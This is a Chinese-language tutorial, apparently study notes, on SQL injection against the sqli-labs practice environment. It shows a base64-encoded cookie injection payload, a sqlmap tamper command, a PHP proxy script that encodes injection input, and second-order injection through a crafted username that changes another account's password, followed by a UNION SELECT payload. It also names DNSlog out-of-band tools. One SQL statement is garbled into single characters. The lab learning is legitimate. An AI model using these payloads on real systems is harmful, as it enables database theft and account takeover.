加解密、二次、DNSlog注入
加解密 实例 sqli-labs-master/Less-21/ 登录抓包 抓包结果 将uname的内容一看就是加密内容,我们进行解密,我们看解密结果 我们将%3D是ascii码的‘=’号,我们将其修改回来 这时我们需要进行cookie注入时就需要进行加密注入
uname=YWRtaW4ZIGFuZCAnMScgPScyJyAtLSs= 注入报错了,存在注入 sqlmap也存在base64的插件
sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-21/?id=1” --tamper base64encode.py –dbs
也可以自己写脚本
<?php
$url='http://www.xxxxx.com/?id=';
$payload= base64_encode($_GET['x']);
$urls=$url.$payload
$result=file_get_contents($urls);
echo $urls;
?>
我放在服务器使用(自己电脑也行) 这个脚本的作用是将http://www.xxxxx.com/?id=后面加的内容进行base64加密,再进行访问,图中用的是我自己的服务器
python sqlmap.py -u “http://127.0.0.1/test.php” --dbs
二次注入 黑盒测试一般是找不到的,必须看源码,审计时才能找到 实例 sqli-labs-master/Less-24/index.php 注册两个账号分别为
这时我们登录1234’#进行修改密码,修改为xxxxxx 修改后查看数据库,发现账号1234的密码被修改了,而1234’#的没有被修改 原因在此 sql源码: sql = "UPDATE users SET PASSWORD=‘
p
a
s
s
′
w
h
e
r
e
u
s
e
r
n
a
m
e
=
′
pass' where username='
pass′whereusername=′username’ and password=‘$curr_pass’ "; 当我们进行修改时就会发现,账户名后面的内容被注释了,从而达到二阶注入的目的
sql=update users set password=‘xxxxxx’ where username=‘1234’#’ and password=‘$curr_pass’
因此我们可以想到在第一个用户名上加上其他信息,例如:1234’ union select 1,version(),3 # 其他内容进行进行
dnslog带外注入 解决了盲注不能回显,效率低的情况 其实用处不大 需要高权限,需要用的文件读取 load_file() 这次没有完成实操 软件:
https://github.com/ADOOO/DnslogSqlinj http://ceye.io/
|